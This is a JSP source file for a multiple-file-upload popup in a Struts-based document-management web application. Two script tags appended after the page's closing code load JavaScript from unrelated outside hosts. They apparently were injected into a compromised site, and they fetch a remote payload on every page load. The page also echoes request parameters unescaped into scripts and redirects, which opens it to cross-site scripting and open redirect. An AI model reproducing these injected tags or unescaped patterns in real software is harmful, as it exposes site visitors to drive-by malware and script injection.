<%@page contentType="text/html;charset=UTF-8"%>
<%request.setCharacterEncoding("UTF-8");%>
<%@ taglib uri="/WEB-INF/struts-bean.tld" prefix="bean" %>
<%@ taglib uri="/WEB-INF/struts-html.tld" prefix="html" %>
<%@ taglib uri="/WEB-INF/struts-logic.tld" prefix="logic" %>
<%@ taglib uri="/tags/layout" prefix="layout" %>
<%@ page import="java.sql.*"%>
<%@ page import="java.util.*"%>
<%@ page import="java.net.URLEncoder"%>
<%@ page import="com.dcivision.framework.*"%>
<%@ page import="com.dcivision.framework.bean.*"%>
<%@ page import="com.dcivision.upload.web.*"%>
<%@ page import="com.dcivision.dms.bean.*"%>
<%@ page import="com.dcivision.dms.dao.*"%>
<%@ page import="org.apache.commons.logging.LogFactory"%>
<jsp:useBean id="applicationContainer" scope="application" class="com.dcivision.framework.ApplicationContainer"/>
<jsp:useBean id="sessionContainer" scope="session" class="com.dcivision.framework.SessionContainer"/>
<jsp:useBean id="maintMultipleFileUpload" class="com.dcivision.upload.web.MaintMultipleFileUploadForm" scope="request"/>
<%
   String displayFileNames = "";
   String fileNames ="";
   displayFileNames = maintMultipleFileUpload.getDisplayFileNames();
   fileNames = maintMultipleFileUpload.getFileNames();

   if(!Utility.isEmpty(displayFileNames)){
     displayFileNames = displayFileNames;

   } else if(!Utility.isEmpty(request.getParameter("selectedFilesText")) ){

     displayFileNames = request.getParameter("selectedFilesText");
   }

   if (!Utility.isEmpty(fileNames)){
    fileNames = fileNames;

   } else if(!Utility.isEmpty(request.getParameter("selectedFilesValue")) ) {
     fileNames = request.getParameter("selectedFilesValue");
   }
   String[] fileOptionText = null;
   String[] fileOptionValue = null;

   if(!Utility.isEmpty(displayFileNames)){
     fileOptionText = TextUtility.splitString(displayFileNames,";");
   }

   if(!Utility.isEmpty(fileNames)){
     fileOptionValue = TextUtility.splitString(fileNames,"|");
   }


  if (request.getAttribute("fileUploaded")!=null && Boolean.TRUE.equals(request.getAttribute("fileUploaded")) ) {
    List nameList = maintMultipleFileUpload.getFileNameList();
    if (nameList.size()>0) {
      StringBuffer strBuff = new StringBuffer();
      StringBuffer strBuff2 = new StringBuffer();
      strBuff.append(nameList.size() + "|" );
      for (int i=0; i<nameList.size(); i++) {
        HashMap nameMap = (HashMap)nameList.get(i);
        String originalName = (String) nameMap.get("originalName");
        String convertedName = (String) nameMap.get("convertedName");
        strBuff.append(originalName + ":" +  convertedName + "|" );
        strBuff2.append(originalName + "; ");
      }

%>
<script language="javascript">
  var win = window.opener;
  var field = '<%=maintMultipleFileUpload.getIdField()%>';

  if (window.opener.location.href.indexOf("form/MaintFormSubmission.do")<0){
    win.PutFileNames(escape("<%=strBuff.toString()%>"), escape("<%=strBuff2.toString()%>"));
  } else {
    <%if (!Utility.isEmpty(maintMultipleFileUpload.getFileNameSeqNo()) && !"null".equals(maintMultipleFileUpload.getFileNameSeqNo())){%>
       win.PutFileNamesToForm(escape("<%=strBuff.toString()%>"), escape("<%=strBuff2.toString()%>"),'<%=maintMultipleFileUpload.getFileNameSeqNo()%>');
    <%}else{%>
       win.PutFileNames(escape("<%=strBuff.toString()%>"), escape("<%=strBuff2.toString()%>"));
    <%}%>
  }

  <%
  // Redirect to next destination URL if it is existed.
  if (!Utility.isEmpty(request.getParameter(GlobalConstant.NEXT_URL_KEY))) {
  %>
    window.location.replace("<%=request.getParameter(GlobalConstant.NEXT_URL_KEY)%>");
  <% } else { %>
    win.focus();
    window.close();
  <% } %>
</script>
<% }
  }

  try {
      int displayListSize = maintMultipleFileUpload.getDisplayListSize();
%>
<link rel="stylesheet" href="<%=request.getContextPath()%>/theme/pref<%= sessionContainer.getPreference() %>/css/lang/<%= sessionContainer.getSessionLocale().toString() %>/GlobalStyle.css" charset="UTF-8" type="text/css">
<link rel="stylesheet" href="<%=request.getContextPath()%>/theme/pref<%= sessionContainer.getPreference() %>/css/lang/<%= sessionContainer.getSessionLocale().toString() %>/XTree.css" charset="UTF-8" type="text/css">
<link rel="stylesheet" href="<%=request.getContextPath()%>/theme/pref<%= sessionContainer.getPreference() %>/css/lang/<%= sessionContainer.getSessionLocale().toString() %>/purchase.css" charset="UTF-8" type="text/css">

<div id="divLoading" style="position:absolute; visibility:hidden; z-index:1000;">
<iframe id="iframeLoadingtmp" src="<%=request.getContextPath()%>/jsp/common/Loading.html" frameborder="0" marginwidth="0" marginheight="0" scrolling="no" align="middle"></iframe>
</div>

<script language="javascript">
<!--
function popubLoading() {
  var tmpGlobalW = 1024
  var tmpGlobalH = 768;


  if (navigator.appName == "Netscape") {
    tmpGlobalW = window.innerWidth;
    tmpGlobalH = window.innerHeight;
  } else if (navigator.appName == "Microsoft Internet Explorer") {
    tmpGlobalW = document.body.clientWidth;
    tmpGlobalH = document.body.clientHeight;
  }
  var targetElement;
  targetElement = document.getElementById("divLoading");
  targetElement.style.left = (tmpGlobalW-200)/2
  targetElement.style.top = (tmpGlobalH-100)/2;
  targetElement.style.visibility="visible";
  var iframeElement;
  iframeElement = document.getElementById("iframeLoadingtmp");
  iframeElement.style.width = 200
  iframeElement.style.height = 100;
}

function copyFileNameAndSubmit(frm) {
  var parent = window.opener;
  var bSelectedFile = false;

  if (!frm) {
      for (var i = 0; i < document.forms.length; i++) {
          if (document.forms[i].name != "") {
              frm = document.forms[i];
          }
      }
  }
  for (var i=1; i<=frm.fileCount.value; i++) {
    tmpNameField = eval('frm.trueFileName'+i);

    tmpFileField = eval('frm.uploadFile'+i);

    if (tmpFileField.value != '' && GetFileExtension(tmpFileField.value).length > 1) {
      bSelectedFile = true;
      tmpNameField.value = tmpFileField.value;

    }
  }

  if (bSelectedFile) {
    frm.opMode.value="<%=GlobalConstant.OP_MODE_UPDATE%>";
    popubLoading();
    frm.submit();
  } else {
     var forms = parent.document.forms['<%=maintMultipleFileUpload.getFormName()%>'];
    parent.PutFileNames(escape("0|"), escape(""));
    parent.focus();
    window.close();
  }

  return false;
}


function checkSelected() {
    var bSelectedFile = false;
    var frm;
    for (var i = 0; i < document.forms.length; i++) {
      if (document.forms[i].name != "") {
          frm = document.forms[i];
      }
    }


    for (var i=1; i<=frm.fileCount.value; i++) {
      tmpNameField = eval('frm.trueFileName'+i);
      tmpFileField = eval('frm.uploadFile'+i);

      if (tmpFileField.value != '') {
        bSelectedFile = true;
        tmpNameField.value = tmpFileField.value;
      }
    }

   if (bSelectedFile && frm.navMode.value!="V") {
    if (confirm('<bean:message key="workflow.label.please_confirm_selected_files"/>')) {
      frm.action = "<%=request.getContextPath()%>/upload/MaintMultipleFileUpload.do?<%=GlobalConstant.NEXT_URL_KEY%>=<%=URLEncoder.encode(request.getContextPath() + "/upload/ListLookupFromParaDoc.do?navMode=V&SHOW_HEADER_FOOTER=N&fileNameSeqNo=" + request.getParameter("fileNameSeqNo"), "UTF8")%>";
      copyFileNameAndSubmit();
    } else {
      window.location.replace("<%=request.getContextPath()%>/upload/ListLookupFromParaDoc.do?navMode=V&SHOW_HEADER_FOOTER=N&fileNameSeqNo=<%=request.getParameter("fileNameSeqNo")%>");
    }
  } else {
     window.location.replace("<%=request.getContextPath()%>/upload/ListLookupFromParaDoc.do?navMode=V&SHOW_HEADER_FOOTER=N&fileNameSeqNo=<%=request.getParameter("fileNameSeqNo")%>");
  }

  return false;
}
//-->
</script>
<html:form enctype="multipart/form-data" action="upload/MaintMultipleFileUpload" onsubmit="return(false)">

<html:hidden property="opMode"/>
<html:hidden property="navMode"/>
<html:hidden property="ID"/>
<html:hidden property="creatorID"/>
<html:hidden property="createDate"/>
<html:hidden property="updaterID"/>
<html:hidden property="updateDate"/>
<html:hidden property='formName' value='<%=request.getParameter("formName")%>'/>
<html:hidden property='idField'/>
<html:hidden property='fileNames'/>
<html:hidden property='displayFileNames'/>
<html:hidden property='fileNameSeqNo' value='<%=request.getParameter("fileNameSeqNo")%>'/>

<table width="100%">
  <tr>
    <td><br>
      <table width="100%" border="0" cellpadding="0" cellspacing="0" cellpadding="0">
        <tr>
          <td>
            <table width="100%" bgcolor="#FFFFFF" cellpadding="3" cellspacing="1" border="0" align="left">
            <input type="hidden" name="fileCount" value="<%=displayListSize%>">
            <% for (int i=1; i<=displayListSize; i++) { %>
              <tr>
                <td class="formLabelSmall"><bean:message key="upload.label.attachment"/>:&nbsp;</td>
                <td><html:file property='<%="uploadFile"+i%>' size='30'/><html:hidden property='<%="trueFileName"+i%>'/></td>
              </tr>
            <% } %>
            </table>
          </td>
        </tr>
      </table>
    </td>
  </tr>
</table>
<div id="bottomButtonArea" style="display:none">
  <div id="buttonSection">
    <%if (!maintMultipleFileUpload.isViewMode()) { %>
      <html:standardButton label="common.label.confirm" onClick="return copyFileNameAndSubmit();"/>
    <% } %>
      <html:standardButton label="common.label.close" link="javascript:window.close();"/>
  </div>
</div>
</html:form>
<%
    }
    catch (Exception e) {
      LogFactory.getLog(this.getClass()).error(e, e);
    }
    finally {
    }
%>

<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>